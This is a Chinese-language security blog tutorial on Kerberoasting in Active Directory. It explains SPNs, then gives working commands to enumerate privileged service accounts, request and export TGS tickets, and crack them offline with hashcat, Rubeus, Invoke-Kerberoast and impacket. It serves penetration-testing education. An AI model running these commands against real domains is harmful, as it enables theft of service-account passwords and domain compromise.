Kerberos协议之Kerberoasting和SPN

警告
本文最后更新于 2020-11-13,文中内容可能已过时。

填坑

在之前Kerberos的TGS_REQ & TGS_REP过程中提到,只要用户提供的票据正确,服务就会返回自身hash加密的tgs票据,那么如果我们有一个域用户,就可以申请服务的tgs票据,本地爆破服务hash得到服务密码,这个过程叫做Kerberoasting。而在域中,服务通过spn来作为唯一标识,所以本文介绍的是Kerberoasting和spn。

# SPN简介

SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN

SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下

当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下

当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

# SPN的格式

1
serviceclass/host:port/servicename
  1. serviceclass可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
  2. host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01
  3. 如果服务运行在默认端口上,则端口号(port)可以省略

我这里通过 setspn -A MSSQLSvc/DM.test.local:1433 sqladmin 注册一个名为MSSQLSvc的SPN,将他分配给sqladmin这个域管账户

image.png

# SPN查询

spn查询实际上是通过ldap协议查询的,那么当前用户必须是域用户或者是机器账户。

1
2
setspn -q */*
setspn -T test.local -q */*

image.png

CN=Users的是域账户注册的SPN,CN=Computers是机器账户。

域内的任意主机都可以查询SPN,任何一个域用户都可以申请TGS票据。而我们爆破的话应该选择域用户进行爆破,因为机器用户的口令无法远程链接。

那么Kerberoasting思路如下:

  1. 查询SPN寻找在Users下并且是高权限域用户的服务
  2. 请求并导出TGS
  3. 爆破

# Kerberoasting利用

首先需要寻找有价值的SPN

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,last

image.png

Active Directory只在域控的powershell上有

1
2
import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

image.png

可以用三好学生师傅导出来的 https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

1
import-module .\Microsoft.ActiveDirectory.Management.dll

powershell: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

vbs: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs

参数如下:

1
cscript GetUserSPNs.vbs

image.png

请求指定服务的tgs

1
2
3
$SPNName = 'MSSQLSvc/DM.test.local'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

image.png

请求所有服务的tgs

1
2
Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  
1
kerberos::list /export

https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

1
./tgsrepcrack.py wordlist.txt test.kirbi

不需要mimikatz,直接导出hash为hashcat能破解的。

https://github.com/EmpireProject/Empire/blob/6ee7e036607a62b0192daed46d3711afc65c3921/data/module_source/credentials/Invoke-Kerberoast.ps1

1
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl

image.png

hashcat

1
hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force
1
Rubeus.exe kerberoast
  1. https://github.com/maaaaz/impacket-examples-windows/
  2. https://github.com/SecureAuthCorp/impacket
1
python .\GetUserSPNs.py -request -dc-ip 172.16.33.3 -debug test.local/jack

image.png

hashcat直接跑

# 参考

  1. https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting/
  2. https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.html

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。